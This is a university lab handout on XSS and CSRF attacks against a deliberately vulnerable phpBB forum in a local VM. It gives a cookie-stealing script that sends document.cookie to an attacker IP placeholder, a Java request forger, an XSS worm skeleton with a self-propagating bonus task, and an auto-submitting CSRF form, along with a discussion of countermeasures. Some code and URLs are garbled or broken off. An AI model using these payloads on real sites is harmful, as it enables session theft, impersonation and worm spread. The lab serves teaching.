1 Overview

Cross-site scripting (XSS) and cross-site request forgery (CSRF or XSRF) are two types of vulnerabilities commonly found in web applications. These vulnerabilities make it possible for attackers to inject malicious code (e.g., JavaScript programs) into victims’ web browsers, steal their credentials, or perform actions without even having a victim’s credentials. The access control policies employed by browsers to protect a user’s credentials can often be bypassed by exploiting XSS or CSRF vulnerabilities. Vulnerabilities of this kind can potentially lead to large-scale attacks.

2 XSS Attacks

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using phpBB. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post an arbitrary message to the board, including JavaScript programs. You will need to exploit this vulnerability by posting some malicious messages to the message board. Users who view these malicious messages will become victims. The attacker’s goal is to post forged messages for the victims.

2.1 Project Environment

For this part of the project, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB message board web application. For the browser, we will use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you already has Firefox installed with the required extensions.

The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```bash
% sudo apache2ctl start
or
% sudo service apache2 start
```

The phpBB web application is already set up in the pre-built Ubuntu VM image as well. We have also created several user accounts in the phpBB application. User information can be obtained by selecting the “Memberlist” link on the front page. The password for each user is the same as his or her user name. You can access the phpBB server using the following URL (the apache server needs to be started first):

```
http://www.xsslabphpbb.com
```

This URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name (`www.xsslabphpbb.com`) to the virtual machine’s local IP address (127.0.0.1). You may map any domain name to a particular IP address using the `/etc/hosts` file. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts` file:

```
127.0.0.1 www.example.com
```
In the pre-built VM image, we use the same apache web server to host several different URLs (some URLs are used for other projects). It is configured to map each of the URLs to a particular directory under /var/www/. For example, the server-side code for the http://www.xsslabphpbb.com URL is stored in the following directory:

/var/www/XSS/XSSLabPhpbb/

2.2 XSS Tasks

2.2.1 Task 1.1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

```html
<script>alert('XSS');</script>
```

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

2.2.2 Task 1.2: Posting a Malicious Message to Display Cookies

The objective of this task is to post a malicious message on the message board containing JavaScript code, such that whenever a user views this message, the user’s cookies will be printed out. For instance, consider the following message that contains JavaScript code:

```html
<script>alert(document.cookie);</script>
Hello Everyone,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays a cookie for the user.

2.2.3 Task 1.3: Stealing Cookies from a Victim’s Machine

In the previous task, the malicious JavaScript code can print out a user’s cookie; in this task, the attacker wants the JavaScript code to send cookies to himself/herself. To achieve this, the malicious JavaScript code can send a HTTP request to the attacker with the cookies appended to the request. We can do this by having the malicious JavaScript insert a `<img>` tag with `src` set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attacker’s website. The JavaScript given below sends the cookies to port 5555 on the attacker’s machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you.

```html
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c=' + document.cookie + '>'); </script>
This script is to test XSS. Thanks.
```
2.2.4 Task 1.4: Impersonating the Victim using the Stolen Cookies

After stealing the victim’s cookies, the attacker can do whatever the victim can do in the phpBB webapp, including posting a new message in the victim’s name, deleting the victim’s posts, etc. In this task, we will write a program to forge a message post on behalf of the victim.

To forge a message post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what is sent to the server when a user posts a message. Firefox’s LiveHTTPHeaders extension can help us; it displays the contents of any HTTP request message sent from the browser. From the contents, we can identify all of the parameters of the message. A screen shot of LiveHTTPHeaders is given in Figure 2. It is already installed in the pre-built Ubuntu VM image.

Once you understand what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The phpBB server cannot distinguish whether the request is sent out by the user’s browser or by the attacker’s Java program as long as we set all the parameters in the HTTP request correctly. To simplify your task, we provide you with a sample Java program that does the following:

1. Opens a connection to web server.
2. Sets the necessary HTTP header information.
3. Sends the request to web server.
4. Gets the response from web server.

```java
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
        try {
            int responseCode;
            InputStream responseIn=null;

            // URL to be forged.
            URL url = new URL("http://www.xsslabphpbb.com/profile.php");

            // URLConnection instance is created to further parameterize a
            // resource request past what the state members of URL instance
            // can represent.
            URLConnection urlConn = url.openConnection();

            // HttpURLConnection a subclass of URLConnection is returned by
            // url.openConnection() since the url is an http request.
            if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
            }

            // addRequestProperty method is used to add HTTP Header Information.
            // Here we add User-Agent HTTP header to the forged HTTP packet.
            urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

            // HTTP Post Data which includes the information to be sent to the server.
            String data="username=admin&email=admin%40seed.com";
```
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);

// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wrfush();

// Again: HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
    HttpURLConnection httpConn = (HttpURLConnection) urlConn;

    // Contacts the web server and gets the status code from
    // HTTP Response message.
    responseCode = httpConn.getResponseCode();
    System.out.println("Response Code = " + responseCode);

    // HTTP status code HTTP_OK means the response was
    // received sucessfully.
    if (responseCode == HttpURLConnection.HTTP_OK) {
        // Get the input stream from url connection object.
        responseIn = urlConn.getInputStream();

        // Create an instance for BufferedReader
        // to read the response line by line.
        BufferedReader buf_in = new BufferedReader(
            new InputStreamReader(responseIn));
        String inputLine;
        while((inputLine = buf_in.readLine())!=null) {
            System.out.println(inputLine);
        }
    }
}
} catch (MalformedURLException e) {
    e.printStackTrace();
}

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: http://java.sun.com/javase/6/docs/api/

**Limitation:** The forged message post should be generated from the same virtual machine i.e., the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because phpBB uses both the source IP address and cookie for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim’s IP address would differ. Hence, the forged message post would be rejected by the phpBB server despite the fact that the forged message carries the correct cookie information.
2.2.5 Task 1.5: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim’s browser. JavaScript code that can achieve this is called a cross-site scripting worm. For this web application, the worm program should do the following:

1. Retrieve the session ID of the user using JavaScript.
2. Forge a HTTP post request to post a message using the session ID.

There are two common types of HTTP requests: one is an HTTP GET request, and the other is an HTTP POST request. These two types of HTTP requests differ in how they send the contents of the request to the server. In phpBB, the request for posting a message uses HTTP POST requests. We can use the XMLHttpRequest object to send HTTP GET and POST requests for web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because browser same-origin policies are strongly enforced for XMLHttpRequest. This is not an issue for us, because we do want to use XMLHttpRequest to send a forged HTTP POST request back to the phpBB server. To learn how to use XMLHttpRequest, you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions.

You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. It is already installed in our pre-built Ubuntu VM image.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to the phpBB message board, you need to remove all the comments, extra space, and new-line characters.

```javascript
<script>
    var Ajax=null;

    // Construct the header information for the Http request
    Ajax=new XMLHttpRequest();
    Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
    Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
    Ajax.setRequestHeader("Keep-Alive","300");
    Ajax.setRequestHeader("Connection","keep-alive");
    Ajax.setRequestHeader("Cookie",document.cookie);
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    // Construct the content. The format of the content can be learned
    // from LiveHttpHeader. All we need to fill is subject, message, and sid.
    var content="subject=" + "XSSWorm" + "..."; // You need to fill in the details.

    // Send the HTTP POST request.
    Ajax.send(content);
</script>

To make our worm work, we should pay attention to how the session ID (sid) information is used by phpBB. From the output of the LiveHTTPHeaders extension, we can notice that sid appears twice in
the message-posting request. One is in the cookie section (it is called phpbb2mysql_sid). Therefore, the HTTP POST request sent out by XMLHttpRequest must also include the cookie. We already did it for you in the above skeleton code.

If we look carefully at the LiveHTTPHeaders output, we can see that the same session id also appears in the line that starts with "subject=". The phpBB server uses the session id here to prevent another type of attack (i.e., the cross-site request forgery attack discussed in the second half of this assignment). In our forged message-posting request, we also need to add this session ID information; the value of this session ID is exactly the same as that in phpbb2mysql_sid. Without this session ID in the request, the request will be discarded by the server.

In order to retrieve the sid information from the cookie, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

2.2.6 Task 1.6: Writing a Self-Propagating XSS Worm (Bonus)

For extra credit: The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carries the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 1.5, and add a copy of the worm to the body of the forged message.

3 CSRF Attack

In this part of the project, you will be attacking a web-based message board system using CSRF attacks. You can access the phpBB server (for this part of the project) using the following URLs (again, the apache server needs to be started first):

<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.csrflabattacker.com">http://www.csrflabattacker.com</a></td>
<td>Attacker web site</td>
<td>/var/www/CSRF/Attacker/</td>
</tr>
<tr>
<td><a href="http://www.originalphpbb.com">http://www.originalphpbb.com</a></td>
<td>Original phpBB</td>
<td>/var/www/OriginalPhpbb/</td>
</tr>
</tbody>
</table>

3.1 Background of CSRF Attacks

A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session, compromising its integrity. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using her username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user’s web browser.
3. The victim user visits a malicious site.
4. The malicious site’s web page sends a request to the trusted site from the victim user’s browser.
5. The web browser automatically attaches the session cookie to the malicious request because it is targeted for the trusted site.

6. The trusted site processes the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. The tasks in this part of the project involve forging both GET and POST requests for a target application.

### 3.2 CSRF Tasks

For the project task, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable phpBB accessible at `www.csrflabphpbb.com` inside the virtual machine. The second web site is an attacker web site that the student would setup to attack the trusted site. The attacker web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

#### 3.2.1 Task 2.1: Attack using HTTP GET request

In the vulnerable phpBB, a new topic can be posted using a GET request targeted for the following URL:

```
```

The URL has two parameters, `mode=newtopic` and `f=1`. These parameters tell the server-side script `posting.php` that the request is intended to post a new message to forum 1.

To forge a request to post a new topic to the forum, the malicious site can use the URL in a HTML `img` tag inside a web page.

```
<html>
</html>
```

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP GET request for the URL contained in the `img` tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user’s session integrity.

For this task, you will observe the structure of a different request for posting a new message in the vulnerable phpBB application and then try to forge it from the malicious site. You can use the `LiveHTTPHeaders` extensions to observe the contents of the HTTP requests. You will see something similar to the following:

```
addbbcode18=%2344444444&addbbcode20=0&helpbox=Quote+text+%3A+%5Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=This+is+
my+message&topictype=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for posting a message should be injected into the victim’s active session with phpBB.
3.2.2 Task 2.2: Attack in HTTP POST request

HTTP GET requests are typically used for requests that do not involve any side effects, i.e., they simply retrieve (but do not modify) server data. The original phpBB does not use GET requests for posting a new message to the forum. We modified the source code of phpBB so that new messages can be posted using GET requests to facilitate Task 2.1.

In this task, you will forge a POST request that modifies the profile information in phpBB - www.csrflabphpbb.com. In a HTTP POST request, the parameters for the request are provided in the HTTP message body. Forging HTTP POST request is slightly more difficult. A HTTP POST message for the trusted site can be generated using a form tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

The server-side script profile.php allows users to modify their profile information using a POST request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using LiveHTTPHeaders. You may expect to see something similar to the following:

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&password_confirm=&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=I+am+good+guy&viewemail=1&hideonline=0&notifyreply=0&notifyipm=1&attachsig=0&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&agreed=true&coppa=0&user_id=2&current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP post request, we provide the sample code in Figure 1. This code can also be downloaded from the course website. You can use this sample code to construct your malicious web site for the CSRF attacks.

3.2.3 Task 2.3: Understanding phpBB’s Countermeasures

phpBB has implemented some countermeasures to defend against CSRF attacks. To allow the attacks in Task 2.1 work, we had to modify phpBB code to introduce the vulnerability. Originally, posting.php only takes POST request, not GET. However, from Task 2.2, we know that changing GET to POST will not prevent the CSRF attacks, it simply makes the attacks a little bit more difficult. PhpBB adopts another mechanism to counter the CSRF attacks. It includes the following information in the body of the request:

```
sid=b349b781ecbb2268c4caf77f530c55ac
```

This sid value is exactly the same as phpbb2mysql_sid in the cookie. The script in posting.php will check whether this sid value is the same as that in the cookie. If not, the request will fail.

In this task, you need to use the original phpBB forum accessible at http://www.originalphpbb.com, try the attacks again, and describe your observations. Can you bypass the countermeasures? If not, please describe why.

3.2.4 Task 2.4: Critiquing Some Countermeasures for CSRF

There are several simple countermeasures suggested for CSRF:

1. Web applications may use a secret-token validation technique such as the one that phpBB uses.
This page sends a HTTP POST request onload.

```html
<html><body><h1>This page sends a HTTP POST request onload.</h1><script>
function post(url, fields)
{
    //create a <form> element.
    var p = document.createElement('form');

    //construct the form
    p.action = url;
    p.innerHTML = fields;
    p.target = '_self';
    p.method = 'post';

    //append the form to this web.
    document.body.appendChild(p);

    //submit the form
    p.submit();
}

function csrf_hack()
{
    var fields;

    // You should replace the following 3 lines with your form parameters
    fields += "<input type='hidden' name='username' value='Alice'>";
    fields += "<input type='hidden' name='transfer' value='10000'>";
    fields += "<input type='hidden' name='to' value='Bot'>";
    // Note: don’t add an element named ‘submit’ here;
    // otherwise, p.submit() will not be invoked.
    // ‘Submit’ will work.
    post('http://www.example.com',fields);
}

window.onload = function(){csrf_hack();}
</script></body></html>
```

Figure 1: Sample JavaScript program
2. Web applications may attempt to verify the origin page of request using the referrer header.

In this task, you will discuss these countermeasures and provide a critique of their effectiveness.

4 Deliverables, Deadline, and Other Information

This project is due on April 14th by 11:59AM (i.e., before noon). Please send to the TA a detailed report documenting your experiences in completing the project tasks. Your report should include your observations, answers to any questions asked by the specifications, source code you wrote or modified for the project, screenshots, and anything else that will assist us in evaluating your accomplishments. A good report is one that is insightful, well organized, and well written.

5 Version History

v 0.91 (4/5/2010) – The current version of this document. I have updated the Deliverables section with more details. I have also fixed some typographical errors and ambiguities.

v 0.9 (4/1/2010) – The original version of this document.

6 Attribution

These project specifications are based off of a document written by Wenliang Du. What follows is his original copyright notice:

Copyright © 2006 - 2010 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.

References

[1] AJAX for n00bs. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_for_n00bs.

[2] AJAX POST-It Notes. Available at the following URL:

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:

[4] The Complete Javascript Strings Reference. Available at the following URL:
http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 376
subject=<Content of the message>

HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Figure 2: Screenshot of LiveHTTPHeaders Extension